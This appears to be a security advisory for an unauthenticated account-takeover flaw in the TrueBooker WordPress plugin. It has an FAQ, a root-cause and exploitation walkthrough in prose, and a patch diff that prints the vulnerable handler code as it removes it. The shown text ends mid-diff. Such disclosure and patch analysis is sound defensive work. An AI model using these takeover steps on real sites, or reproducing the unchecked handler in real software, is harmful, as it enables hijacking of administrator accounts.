What is CVE-2026-16142?

CVE-2026-16142 is a critical vulnerability in the TrueBooker appointment booking plugin for WordPress, affecting versions up to and including 1.2.6. It allows unauthenticated attackers to take over any user account, including administrators, by changing the account email address and then resetting the password. The vulnerability is an Insecure Direct Object Reference (CWE-639) with a CVSS score of 9.8.

How does the vulnerability work?

The plugin registers an AJAX action ‘add_front_user_booking’ for unauthenticated users. The handler accepts a ‘truebooker_wp_user_id’ parameter from the request and passes it directly to wp_update_user() to change the email address of that user. Since there is no authentication or ownership check, an attacker can submit any user ID and an attacker-controlled email, then use the WordPress password reset flow to gain access.

Who is affected by this vulnerability?

Any WordPress site running TrueBooker plugin version 1.2.6 or earlier is affected. The vulnerability is unauthenticated, meaning no login is required to exploit it. Sites with the plugin active are at risk, regardless of user roles.

How can I check if my site is vulnerable?

Check the TrueBooker plugin version in your WordPress admin under Plugins. If it is 1.2.6 or lower, your site is vulnerable. You can also look for the presence of the ‘add_front_user_booking’ AJAX action in the plugin code, but the version check is the simplest method.

What is the practical risk of this vulnerability?

The risk is critical because an attacker can gain full control of any account, including administrator accounts. This leads to complete site compromise: the attacker can install malicious plugins, modify files, steal data, and potentially use the site to attack visitors. The CVSS score of 9.8 reflects the high impact and ease of exploitation.

How is the proof of concept (PoC) used?

The PoC sends a crafted HTTP request to the WordPress admin-ajax.php endpoint with the vulnerable action and parameters. It includes the target user ID and an attacker email. When executed, it changes the victim’s email, allowing the attacker to reset the password and take over the account. The PoC is for authorized testing only.

What is the fix for this vulnerability?

Update TrueBooker to version 1.2.7 or later, which removes the vulnerable AJAX handlers and adds proper authorization checks. If you cannot update immediately, consider disabling the plugin temporarily or applying a web application firewall rule to block requests to the vulnerable action.

Is there a temporary mitigation if I can't update?

As a temporary measure, you can add a code snippet to your theme’s functions.php to remove the vulnerable AJAX actions, or use a security plugin to block access to admin-ajax.php for unauthenticated users except for known safe actions. However, updating the plugin is the only complete fix.

What does the patch analysis show?

The patch removes the ‘add_front_user_booking’ and ‘admin_user_create_cus’ functions and their associated AJAX hooks, including the unauthenticated ‘wp_ajax_nopriv_’ registration. It also adds permission checks to other AJAX endpoints like ‘update_appointment_booked’ to verify user ownership and capabilities.

How does the CVSS score of 9.8 translate to real-world severity?

A CVSS score of 9.8 is considered critical, meaning the vulnerability is easily exploitable, requires no authentication, and has severe impact on confidentiality, integrity, and availability. In practice, it means an attacker can completely compromise the site with minimal effort, making immediate action necessary.

Can this vulnerability be exploited without any user interaction?

Yes, the vulnerability is unauthenticated and requires no user interaction. An attacker only needs to send a crafted HTTP request to the vulnerable endpoint. No special privileges or prior access are needed, making it highly dangerous.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately update the plugin, change all user passwords, especially administrators, and review user accounts for unauthorized email changes. Check for unfamiliar admin users and scan your site for backdoors. Also, review server logs for requests to admin-ajax.php with the ‘add_front_user_booking’ action.

Published : August 14, 2026

CVE-2026-16142: TrueBooker <= 1.2.6 Unauthenticated Account Takeover via Insecure Direct Object Reference in 'truebooker_wp_user_id' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-16142

Plugin truebooker-appointment-booking

Severity Critical (CVSS 9.8)

CWE 639

Vulnerable Version 1.2.6

Patched Version 1.2.7

Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16142:

TrueBooker <= 1.2.6 contains an unauthenticated account takeover vulnerability. The flaw exists in the add_front_user_update() AJAX handler, which is incorrectly registered for unauthenticated users via the 'wp_ajax_nopriv_' hook and accepts an arbitrary 'truebooker_wp_user_id' parameter. Atomic Edge analysis confirms this is an Insecure Direct Object Reference (CWE-639) with a CVSS score of 9.8, allowing complete account compromise.

Root Cause: The vulnerable code in 'truebooker-appointment-booking/main/function_ajax.php' registered the 'add_front_user_update' AJAX action for both authenticated and unauthenticated users. The affected function, 'add_front_user_booking', retrieves the 'truebooker_wp_user_id' from the POST data via 'parse_str($_POST['alldata'], $searcharray)'. It then passes this user-supplied ID directly to 'wp_update_user()' to change the email address, without verifying the user is logged in or that they own the target account. The nonce check using 'wp_verify_nonce' only validates a nonce generated with 'truebooker_meta_box_nonce', but the nonce is also supplied by the attacker and is not tied to a specific user session, making it ineffective for authorization.

Exploitation: An attacker can exploit this by sending a direct AJAX request to '/wp-admin/admin-ajax.php' with the action parameter set to 'add_front_user_booking'. The 'alldata' POST parameter must contain structured data matching the expected fields, including the 'truebooker_meta_box_noncename', 'truebooker_user_id', and crucially the 'truebooker_wp_user_id' which is the ID of the victim user. The request also carries the 'truebooker_f_user_email' parameter set to the attacker's email address. No prior authentication is required. Once the email is changed, the attacker uses the standard WordPress password reset feature to receive a reset link at the attacker-controlled address, granting them full access to the victim's account, including administrators.

Patch Analysis: Atomic Edge research on the patch shows that the vulnerable 'add_front_user_booking' and the associated 'admin_user_create_cus' functions were completely removed from the codebase. The patch deletes these handlers and their associated 'add_action' hooks, including the unauthenticated 'wp_ajax_nopriv_' registration, which eliminates the attack surface. The patch also introduces stricter authorization checks on other AJAX endpoints, such as 'update_appointment_booked' and 'update_appointment_status', by verifying user permissions and ownership of the appointment records before processing requests.

Impact: Successful exploitation grants an unauthenticated attacker full control over any WordPress user account on the site, including those with administrator privileges. An attacker can change the administrator's email, receive a password reset link, and log in. This leads to complete site compromise, including the ability to upload malicious plugins, modify file content, inject backdoors, and steal sensitive data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/truebooker-appointment-booking/main/function_ajax.php
+++ b/truebooker-appointment-booking/main/function_ajax.php
@@ -951,7 +951,7 @@

 //update_appointment_booked
 add_action('wp_ajax_update_appointment_booked', 'truebooker_update_appointment_booked');
-add_action('wp_ajax_nopriv_update_appointment_booked', 'truebooker_update_appointment_booked');
+
 function truebooker_update_appointment_booked()
 {
 	global $wpdb, $settingdatamain, $result, $truebooker_helperobj,$truebooker_emailobj;
@@ -963,8 +963,25 @@
 		$bookedid = sanitize_text_field(wp_unslash($_POST['bookedid']));
 	}

-	$truebooker_payments_table = $wpdb->prefix . 'truebooker_payments';
 	$truebooker_appointment_booked_table = $wpdb->prefix.'truebooker_appointment_booked';
+
+	$truebooker_booking_owner_id = $wpdb->get_var(
+		$wpdb->prepare(
+			"SELECT truebooker_app_user_id FROM {$truebooker_appointment_booked_table} WHERE truebooker_app_booked_id = %d",
+			$bookedid
+		)
+	);
+
+	if ( (int) $truebooker_booking_owner_id !== get_current_user_id() && ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'Permission denied.', 'truebooker-appointment-booking' ),
+			),
+			403
+		);
+	}
+
+	$truebooker_payments_table = $wpdb->prefix . 'truebooker_payments';
   	$truebooker_appointment_booked_item_table = $wpdb->prefix.'truebooker_appointment_booked_item';
   	$truebooker_appointment_cart_table = $wpdb->prefix.'truebooker_appointment_cart';
 	$truebooker_helperobj->deletefromtable($truebooker_appointment_booked_table,'truebooker_app_booked_id',$bookedid);
@@ -7052,1058 +7069,6 @@
 }


-
-
-
-
-
-add_action( 'wp_ajax_add_front_user_booking', 'add_front_user_booking' );
-
-add_action( 'wp_ajax_nopriv_add_front_user_booking', 'add_front_user_booking' );
-
-
-
-function add_front_user_booking(){
-
-
-
-	global $wpdb, $settingdatamain, $truebooker_helperobj,$truebooker_emailobj;
-
-
-
-	check_ajax_referer( 'truebooker_nonce_action', 'security' );
-
-	$message = $error_msg = array();
-
-
-
-	$searcharray = array();
-
-	// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-    // phpcs:disable WordPress.Security.ValidatedSanitizedInput.MissingUnslash
-    // phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-	parse_str($_POST['alldata'], $searcharray);
-
-		$truebooker_max_person =1;
-
-		if(!empty($settingdatamain)){
-
-			if($settingdatamain['truebooker_max_person']){
-
-				$truebooker_max_person = $settingdatamain['truebooker_max_person'];
-
-			}
-
-		}
-
-
-
-		$truebooker_user_firstname   = sanitize_text_field($searcharray['truebooker_f_user_firstname']);
-
-		$truebooker_user_lastname    = sanitize_text_field($searcharray['truebooker_f_user_lastname']);
-
-		$truebooker_user_email  	 = sanitize_text_field($searcharray['truebooker_f_user_email']);
-
-		$truebooker_user_country     = sanitize_text_field($searcharray['truebooker_f_user_conutry']);
-
-		$truebooker_user_state   	 = sanitize_text_field($searcharray['truebooker_f_user_state']);
-
-		$truebooker_user_phone   	 = sanitize_text_field($searcharray['truebooker_f_user_phone']);
-
-		$truebooker_user_city   	 = sanitize_text_field($searcharray['truebooker_f_user_city']);
-
-		$truebooker_user_address1    = sanitize_text_field($searcharray['truebooker_f_user_address1']);
-
-		$truebooker_user_pincode     = sanitize_text_field($searcharray['truebooker_f_user_pincode']);
-
-		$truebooker_user_phonecode   = sanitize_text_field($searcharray['truebooker_f_user_phonecode']);
-
-		$truebooker_user_id 		 = sanitize_text_field($searcharray['truebooker_user_id']);
-
-		$truebooker_wp_user_id 		 = sanitize_text_field($searcharray['truebooker_wp_user_id']);
-
-
-
-		$truebooker_no_user	= sanitize_text_field($searcharray['truebooker_f_user_person']);
-
-		$truebooker_user_note = sanitize_text_field($searcharray['truebooker_f_user_note']);
-
-		$truebooker_user_service = sanitize_text_field($searcharray['truebooker_user_service']);
-
-
-
-		$truebooker_user_dt = sanitize_text_field($searcharray['truebooker_f_user_dt']);
-
-		$truebooker_user_time = sanitize_text_field($searcharray['tba_front_user_timeslot']);
-
-
-
-
-
-		$noncename = sanitize_text_field($searcharray['truebooker_meta_box_noncename']);
-
-		$truebooker_user_payment_method = '';
-
-		if(isset($searcharray['truebooker_user_payment_method'])){
-
-		$truebooker_user_payment_method = sanitize_text_field( $searcharray['truebooker_user_payment_method']);
-
-		}
-
-		$truebooker_appointment_status = 'pending';
-
-
-
-		$truebooker_currency =sanitize_text_field($searcharray['truebooker_currency']);
-
-
-
-		if (isset($searcharray['sf-name'])) {
-
-		    $truebooker_user_subservice = $searcharray['sf-name'];
-
-		}
-
-
-
-		if (isset($searcharray['subservice-id'])) {
-
-		    $truebooker_user_subservice_id = $searcharray['subservice-id'];
-
-		}
-
-		if (isset($searcharray['sf-price'])) {
-
-		    $truebooker_user_subservice_p = $searcharray['sf-price'];
-
-		}
-
-
-
-
-
-		$truebooker_tax = $truebooker_sub_total = $truebooker_grand_total = 0.00;
-
-		if(!empty($truebooker_user_subservice_p))
-
-		{
-
-			$summary =  pricewithtax($truebooker_user_subservice_p);
-
-			$truebooker_tax = $summary['tax'];
-
-			$truebooker_sub_total = $summary['subtotal'];
-
-			$truebooker_grand_total = $summary['grandtotal'];
-
-		}
-
-
-
-
-
-
-
-		$noncename = sanitize_text_field($searcharray['truebooker_meta_box_noncename']);
-
-
-
-		$table_truebooker_customers = $wpdb->prefix . 'truebooker_user';
-
-		$table_truebooker_appointment = $wpdb->prefix . 'truebooker_appointment';
-
-
-
-	  	if ( ! isset( $noncename ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash($noncename) ), 'truebooker_meta_box_nonce' ) ) {
-
-			  $error_msg['php-error'] = esc_html__('Sorry, Your request can not be processed due to security reason.','truebooker-appointment-booking');
-
-		 }
-
-
-
-		 if(!empty($settingdatamain['truebooker_s_error']) ){
-
-				$er_msg = $settingdatamain['truebooker_s_error'];
-
-			} else {
-
-				$er_msg =esc_html__('There is some error!!','truebooker-appointment-booking'); ;
-
-			}
-
-
-
-			if(empty($truebooker_user_firstname)) {
-
-				$error_msg['fname-error-front'] = $er_msg;
-
-			}
-
-			if(empty($truebooker_user_lastname)) {
-
-				$error_msg['lname-error-front']  = $er_msg;
-
-			}
-
-
-
-			if(!empty($settingdatamain['truebooker_s_mail']) ) {
-
-				$er_msg = $settingdatamain['truebooker_s_mail'];
-
-			} else {
-
-				$er_msg =esc_html__('Please enter your email','truebooker-appointment-booking'); ;
-
-			}
-
-
-
-			if(empty($truebooker_user_email)) {
-
-				$error_msg['email-error-front'] = $er_msg;
-
-			}
-
-			else {
-
-				if (!filter_var($truebooker_user_email, FILTER_VALIDATE_EMAIL)) {
-
-					$error_msg['email-error-front'] = esc_html__("Please enter valid email address",'truebooker-appointment-booking'); ;
-
-				}
-
-
-
-				$user_wp_id = email_exists($truebooker_user_email);
-
-				if($truebooker_wp_user_id != $user_wp_id){
-
-					if(!empty($user_wp_id))
-
-					{
-
-						$error_msg['email-error-front'] = esc_html__("User already exist with same email",'truebooker-appointment-booking');
-
-					}
-
-				}
-
-			}
-
-
-
-			if(!empty($settingdatamain['truebooker_s_phone']) ){
-
-				$er_msg = $settingdatamain['truebooker_s_phone'];
-
-			} else {
-
-				$er_msg =esc_html__('Please enter your phone','truebooker-appointment-booking');
-
-			}
-
-
-
-			if(empty($truebooker_user_phone)) {
-
-				$error_msg['phone-error-front'] = $er_msg;
-
-			}
-
-			else {
-
-				if (!preg_match("/^[0-9]*$/", $truebooker_user_phone)) {
-
-					$error_msg['phone-error-front'] = esc_html__("Only numeric value is allowed",'truebooker-appointment-booking');
-
-				}
-
-			}
-
-
-
-			if(empty($truebooker_user_country)) {
-
-				$error_msg['country-error-front'] = esc_html__('Please select country','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_state)) {
-
-				$error_msg['state-error-front']   = esc_html__('Please select state','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_city)) {
-
-				$error_msg['city-error-front']    = esc_html__('Please enter your city','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_pincode)) {
-
-				$error_msg['pincode-error-front'] = esc_html__('Please enter pincode','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_address1)) {
-
-				$error_msg['address1-error-front'] = esc_html__('Please enter address','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_no_user)) {
-
-				$error_msg['person-error-front'] = esc_html__('Please enter No. of Person','truebooker-appointment-booking');
-
-			}
-
-			else
-
-			{
-
-
-
-				if (is_string($truebooker_no_user) && !is_numeric($truebooker_no_user)) {
-
-					$error_msg['person-error-front'] = esc_html__( 'Please enter proper maximum person', 'truebooker-appointment-booking' );
-
-				}
-
-
-
-				if($truebooker_no_user > $truebooker_max_person || $truebooker_no_user < 1)
-
-				{
-
-					$error_msg['person-error-front'] = esc_html__( 'Please enter proper maximum person in between 1 to 20', 'truebooker-appointment-booking' );
-
-				}
-
-
-
-			}
-
-
-
-
-
-
-
-			$message['error_message']=$error_msg;
-
-
-
-			if(!empty($error_msg))
-
-			{
-
-				$message['php_error']= '<div class="truebooker_error tba-popconfirm"><span>'.$er_msg.'</span></div>';
-
-			}
-
-			else{
-
-
-
-				$data = array(
-
-					'truebooker_user_firstname'=> $truebooker_user_firstname,
-
-					'truebooker_user_lastname'=> $truebooker_user_lastname,
-
-					'truebooker_user_email'=> $truebooker_user_email,
-
-					'truebooker_user_country'=> $truebooker_user_country,
-
-					'truebooker_user_state'=> $truebooker_user_state,
-
-					'truebooker_user_city'=> $truebooker_user_city,
-
-					'truebooker_user_pincode'=> $truebooker_user_pincode,
-
-					'truebooker_user_address1'=> $truebooker_user_address1,
-
-					'truebooker_user_phone'=> $truebooker_user_phone,
-
-					'truebooker_user_phonecode'=> $truebooker_user_phonecode,
-
-				);
-
-
-
-
-
-				if(!empty( $truebooker_user_id ))
-
-				  {
-
-
-
-
-
-				  		$user_data = wp_update_user( array( 'ID' => $truebooker_wp_user_id, 'user_email' => $truebooker_user_email ) );
-
-
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
-					 	$wpdb->update(
-
-						$table_truebooker_customers,
-
-						$data,
-
-						array(
-
-								'truebooker_user_id' => $truebooker_user_id,
-
-							 )
-
-						);
-
-						$customerid = $truebooker_user_id;
-
-					 	$message['truebooker_user_id'] = $truebooker_user_id;
-
-					 	$message['truebooker_wp_user_id'] = $truebooker_wp_user_id;
-
-						$message['success'] = esc_html__('User update successfull','truebooker-appointment-booking');
-
-				  }
-
-				  else
-
-				  {
-
-				  	$createnew='';
-
-				  	if(empty($truebooker_wp_user_id)){
-
-
-
-
-
-				  		$random_password = wp_generate_password( $length=12, $include_standard_special_chars=false );
-
-
-
-						$emaildata =  explode("@",$truebooker_user_email);
-
-						$truebooker_user_name = $emaildata[0];
-
-
-
-
-
-				  		$truebooker_wp_user_id = createuser($truebooker_user_name,$truebooker_user_email,$random_password);
-
-
-
-				  		$createnew= 1;
-
-
-
-				  	}
-
-
-				  	// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
-				  	$wpdb->insert($table_truebooker_customers, $data);
-
-
-
-				  	$customerid = $wpdb->insert_id;
-
-
-
-				  	if(!empty($customerid))
-
-				  	{
-
-				  		$data = array(
-
-						'truebooker_wpuser_id'=> $truebooker_wp_user_id,
-
-						);
-
-
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
-				  		$wpdb->update(
-
-							$table_truebooker_customers,
-
-							$data,
-
-							array(
-
-								'truebooker_user_id' => $customerid,
-
-							)
-
-						);
-
-
-
-				  		if(!empty($createnew)){
-
-				  		    $info['user_login'] = $truebooker_user_name;
-
-
-
-						    $info['user_password'] = $truebooker_password;
-
-
-
-						    $info['remember'] = true;
-
-
-
-						    $user_signon = wp_signon( $info, false );
-
-
-
-							$truebooker_emailobj->newAccountCreateMail($truebooker_user_name,$truebooker_user_email,$truebooker_password);
-
-						}
-
-				  	}
-
-				  	$message['truebooker_user_id'] = $customerid;
-
-				  	$message['truebooker_wp_user_id'] = $truebooker_wp_user_id;
-
-				  	$message['success'] =esc_html__('User create successfull','truebooker-appointment-booking');
-
-				  }
-
-
-
-
-
-
-
-				  if($customerid)
-
-				  {
-
-
-
-
-
-				  	$data = array(
-
-				  		'truebooker_wp_user_id' => $truebooker_wp_user_id,
-
-				  		'truebooker_user_id' => $customerid,
-
-						'truebooker_user_note'=> $truebooker_user_note,
-
-						'truebooker_user_service'=> $truebooker_user_service,
-
-						'truebooker_user_currency'=>$truebooker_currency,
-
-						'truebooker_user_dt'=> $truebooker_user_dt,
-
-						'truebooker_user_time'=> $truebooker_user_time,
-
-						'truebooker_user_person'=> $truebooker_no_user,
-
-						'truebooker_user_payment_method'=> $truebooker_user_payment_method,
-
-						'truebooker_appointment_status'=> $truebooker_appointment_status,
-
-						'truebooker_sub_total'=> $truebooker_sub_total,
-
-						'truebooker_tax'=> $truebooker_tax,
-
-						'truebooker_grand_total'=> $truebooker_grand_total,
-
-						);
-
-
-
-				 	 $appointmentid = $truebooker_helperobj->tbabCommonInsert($table_truebooker_appointment,$data);
-
-
-				  	$appointmentid = base64_encode($appointmentid);
-
-				  	$message['appintid'] = $appointmentid;
-
-
-
-
-
-				  }
-
-
-
-			}
-
-
-
-
-
-			echo wp_json_encode($message);
-
-			die;
-
-}
-
-
-
-add_action( 'wp_ajax_admin_user_create', 'admin_user_create_cus' );
-
-add_action( 'wp_ajax_nopriv_admin_user_create', 'admin_user_create_cus' );
-
-
-
-function admin_user_create_cus()
-
-{
-
-		global $wpdb, $settingdatamain, $result, $paysandbox,$truebooker_emailobj;
-
-
-
-		check_ajax_referer( 'truebooker_nonce_action', 'security' );
-
-
-
-		$message = $error_msg = array();
-
-
-
-		$searcharray = array();
-
-		// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-   		// phpcs:disable WordPress.Security.ValidatedSanitizedInput.MissingUnslash
-        // phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		parse_str($_POST['alldata'], $searcharray);
-
-
-
-		$truebooker_user_firstname   = sanitize_text_field($searcharray['truebooker_f_user_firstname']);
-
-		$truebooker_user_lastname   = sanitize_text_field($searcharray['truebooker_f_user_lastname']);
-
-		$truebooker_user_email   = sanitize_text_field($searcharray['truebooker_f_user_email']);
-
-		$truebooker_user_country   = sanitize_text_field($searcharray['truebooker_f_user_conutry']);
-
-		$truebooker_user_state   = sanitize_text_field($searcharray['truebooker_f_user_state']);
-
-		$truebooker_user_phone   = sanitize_text_field($searcharray['truebooker_f_user_phone']);
-
-		$truebooker_user_city   = sanitize_text_field($searcharray['truebooker_f_user_city']);
-
-		$truebooker_user_address1   = sanitize_text_field($searcharray['truebooker_f_user_address1']);
-
-		$truebooker_user_pincode   = sanitize_text_field($searcharray['truebooker_f_user_pincode']);
-
-		$truebooker_user_name   = sanitize_text_field($searcharray['truebooker_f_user_name']);
-
-		$truebooker_password   = sanitize_text_field($searcharray['truebooker_f_password']);
-
-		$truebooker_user_phonecode ='';
-
-
-
-
-
-
-
-
-
-		$truebooker_user_id = sanitize_text_field($searcharray['truebooker_user_id']);
-
-		$truebooker_wp_user_id = sanitize_text_field($searcharray['truebooker_wp_user_id']);
-
-
-
-		$noncename = sanitize_text_field($searcharray['truebooker_meta_box_noncename']);
-
-
-
-		$table_truebooker_customers = $wpdb->prefix . 'truebooker_user';
-
-
-
-	  	if ( ! isset( $noncename ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash($noncename) ), 'truebooker_meta_box_nonce' ) ) {
-
-			  $error_msg['php-error'] = esc_html__('Sorry, Your request can not be processed due to security reason.','truebooker-appointment-booking');
-
-		 }
-
-
-
-		 	if(!empty($settingdatamain['truebooker_s_error']) ){
-
-				$er_msg = $settingdatamain['truebooker_s_error'];
-
-			} else {
-
-				$er_msg =esc_html__('There is some error!!','truebooker-appointment-booking'); ;
-
-			}
-
-
-
-			if(empty($truebooker_user_firstname)) {
-
-				$error_msg['fname-error-front'] = $er_msg;
-
-			}
-
-			if(empty($truebooker_user_lastname)) {
-
-				$error_msg['lname-error-front']  = $er_msg;
-
-			}
-
-
-
-			if(!empty($settingdatamain['truebooker_s_mail']) ) {
-
-				$er_msg = $settingdatamain['truebooker_s_mail'];
-
-			} else {
-
-				$er_msg =esc_html__('Please enter your email','truebooker-appointment-booking'); ;
-
-			}
-
-
-
-			if(empty($truebooker_user_email)) {
-
-				$error_msg['email-error-front'] = $er_msg;
-
-			}
-
-			else {
-
-				if (!filter_var($truebooker_user_email, FILTER_VALIDATE_EMAIL)) {
-
-					$error_msg['email-error-front'] = esc_html__("Please enter valid email address",'truebooker-appointment-booking'); ;
-
-				}
-
-
-
-				$user_wp_id = email_exists($truebooker_user_email);
-
-				if($truebooker_wp_user_id != $user_wp_id){
-
-					if(!empty($user_wp_id))
-
-					{
-
-						$error_msg['email-error-front'] = esc_html__("User already exist with same email",'truebooker-appointment-booking');
-
-					}
-
-				}
-
-			}
-
-
-
-			if(!empty($settingdatamain['truebooker_s_phone']) ){
-
-				$er_msg = $settingdatamain['truebooker_s_phone'];
-
-			} else {
-
-				$er_msg =esc_html__('Please enter your phone','truebooker-appointment-booking');
-
-			}
-
-
-
-			if(empty($truebooker_user_phone)) {
-
-				$error_msg['phone-error-front'] = $er_msg;
-
-			}
-
-			else {
-
-				if (!preg_match("/^[0-9]*$/", $truebooker_user_phone)) {
-
-					$error_msg['phone-error-front'] = esc_html__("Only numeric value is allowed",'truebooker-appointment-booking');
-
-				}
-
-			}
-
-
-
-			if(empty($truebooker_user_country)) {
-
-				$error_msg['country-error-front'] = esc_html__('Please select country','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_state)) {
-
-				$error_msg['state-error-front']   = esc_html__('Please select state','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_city)) {
-
-				$error_msg['city-error-front']    = esc_html__('Please enter your city','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_pincode)) {
-
-				$error_msg['pincode-error-front'] = esc_html__('Please enter pincode','truebooker-appointment-booking');
-
-			}
-
-			if(empty($truebooker_user_address1)) {
-
-				$error_msg['address1-error-front'] = esc_html__('Please enter address','truebooker-appointment-booking');
-
-			}
-
-
-
-
-
-
-
-			if(empty($truebooker_password))
-
-		  	{
-
-		  		if(empty($truebooker_wp_user_id)){
-
-		  			$error_msg['password-error-front'] = esc_html__('Please enter password','truebooker-appointment-booking');
-
-		  		}
-
-
-
-		  	}
-
-
-
-			if(!empty($truebooker_password))
-
-		  	{
-
-		  	  if(!empty($truebooker_wp_user_id)){
-
-		  		$length = strlen ($truebooker_password);
-
-			  		if($length < 5)	{
-
-			  			$error_msg['password-error-front'] = esc_html__('Please enter password atleast five character','truebooker-appointment-booking');
-
-			  		}
-
-		  		}
-
-		  	}
-
-
-
-		  	if(empty($truebooker_user_name))
-
-		  	{
-
-		  		if(!empty($truebooker_wp_user_id)){
-
-		  			$error_msg['user-name-error-front'] = esc_html__('Please enter username','truebooker-appointment-booking');
-
-		  		}
-
-		  	}
-
-
-
-		  	if(!empty($truebooker_user_name))
-
-		  	{
-
-		  		$user_wp_id = username_exists( $truebooker_user_name );
-
-		  		if(!empty($user_wp_id)){
-
-		  			if($truebooker_wp_user_id != $user_wp_id){
-
-		  				$error_msg['user-name-error-front'] = esc_html__('User is already exist with same username','truebooker-appointment-booking');
-
-		  			}
-
-		  		}
-
-		  	}
-
-
-
-
-
-			$message['error_message']=$error_msg;
-
-
-
-			if(!empty($error_msg))
-
-			{
-
-				$message['php_error']= '<div class="truebooker_error tba-popconfirm"><span>'.esc_html__('There is some error!!','truebooker-appointment-booking').'</span></div>';
-
-			}
-
-			else{
-
-
-
-				$data = array(
-
-				'truebooker_user_firstname'=> $truebooker_user_firstname,
-
-				'truebooker_user_lastname'=> $truebooker_user_lastname,
-
-				'truebooker_user_email'=> $truebooker_user_email,
-
-				'truebooker_user_country'=> $truebooker_user_country,
-
-				'truebooker_user_state'=> $truebooker_user_state,
-
-				'truebooker_user_city'=> $truebooker_user_city,
-
-				'truebooker_user_pincode'=> $truebooker_user_pincode,
-
-				'truebooker_user_address1'=> $truebooker_user_address1,
-
-				'truebooker_user_phone'=> $truebooker_user_phone,
-
-				'truebooker_user_phonecode'=> $truebooker_user_phonecode,
-
-				);
-
-
-
-
-
-				if(!empty( $truebooker_user_id ))
-
-				  {
-
-
-
-
-
-				  		$user_data = wp_update_user( array( 'ID' => $truebooker_wp_user_id, 'user_email' => $truebooker_user_email ) );
-
-
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
-					 	$wpdb->update(
-
-						$table_truebooker_customers,
-
-						$data,
-
-						array(
-
-								'truebooker_user_id' => $truebooker_user_id,
-
-							 )
-
-						);
-
-
-
-						$message['success'] = esc_html__('User update successfull','truebooker-appointment-booking');
-
-				  }
-
-				  else
-
-				  {
-
-
-
-				  	$wp_user_id = createuser($truebooker_user_name,$truebooker_user_email,$truebooker_password);
-
-
-				  	// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
-				  	$wpdb->insert($table_truebooker_customers, $data);
-
-
-
-				  	$customerid = $wpdb->insert_id;
-
-
-
-				  	if(!empty($customerid))
-
-				  	{
-
-				  		$data = array(
-
-						'truebooker_wpuser_id'=> $wp_user_id,
-
-						);
-
-
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
-				  		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
-				  		$wpdb->update(
-
-							$table_truebooker_customers,
-
-							$data,
-
-							array(
-
-								'truebooker_user_id' => $customerid,
-
-							)
-
-						);
-
-
-
-
-
-						$truebooker_emailobj->newAccountCreateMail($truebooker_user_name,$truebooker_user_email,$truebooker_password);
-
-				  	}
-
-
-
-
-
-				  	$message['success'] =esc_html__('User create successfull','truebooker-appointment-booking');
-
-				  }
-
-
-
-			}
-
-
-
-
-
-
-
-		echo wp_json_encode($message);
-
-		die;
-
-}
-
-
-
 function createuser($username=null, $email=null,$password=null)

 {
@@ -13674,37 +12639,39 @@
 /*** appointments *********/

 add_action('wp_ajax_update_appointment_status', 'truebooker_update_appointment_status');
-add_action('wp_ajax_nopriv_update_appointment_status', 'truebooker_update_appointment_status');

 function truebooker_update_appointment_status()
 {
 	 global $wpdb,$truebooker_emailobj;
+
+
+	 if ( ! is_user_logged_in() ) {
+        wp_send_json_error(
+            array(
+                'message' => __( 'Unauthorized', 'truebooker-appointment-booking' ),
+            ),
+            403
+        );
+    }
+
+	if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error(
+            array(
+                'message' => __( 'Permission denied.', 'truebooker-appointment-booking' ),
+            ),
+            403
+        );
+    }
+

 	if(isset($_POST['appointmentid']))
 	{
 	  $appointmentid = sanitize_text_field(wp_unslash($_POST['appointmentid']));
 	}
-	if(isset($_POST['appuserwpid']))
-	{
-	  $appuserwpid = sanitize_text_field(wp_unslash($_POST['appuserwpid']));
-	}
 	if(isset($_POST['appnewstatus']))
 	{
 	  $appnewstatus = sanitize_text_field(wp_unslash($_POST['appnewstatus']));
 	}
-	if(isset($_POST['servicename']))
-	{
-	  $service_name = sanitize_text_field(wp_unslash($_POST['servicename']));
-	}
-	if(isset($_POST['appbookeddate']))
-	{
-	  $appbookeddate = sanitize_text_field(wp_unslash($_POST['appbookeddate']));
-	}
-
-	if(isset($_POST['appbookedtime']))
-	{
-	  $appbookedtime = sanitize_text_field(wp_unslash($_POST['appbookedtime']));
-	}



@@ -13717,32 +12684,36 @@
 	if ( empty($appnewstatus) || ! $appointmentid ) {
     wp_send_json_error(['message' => 'Invalid input.']);
 	}
+
+	$truebooker_allowed_statuses = array( 'pending', 'approved', 'cancelled' );
+	if ( ! in_array( $appnewstatus, $truebooker_allowed_statuses, true ) ) {
+		wp_send_json_error(['message' => 'Invalid status.']);
+	}


-	/********** Start Get user info **************/
+	/********** Start Get user info (derived from the appointment record, not the request) **************/

-		$username = $email = $phonecode = $phone = '';
-
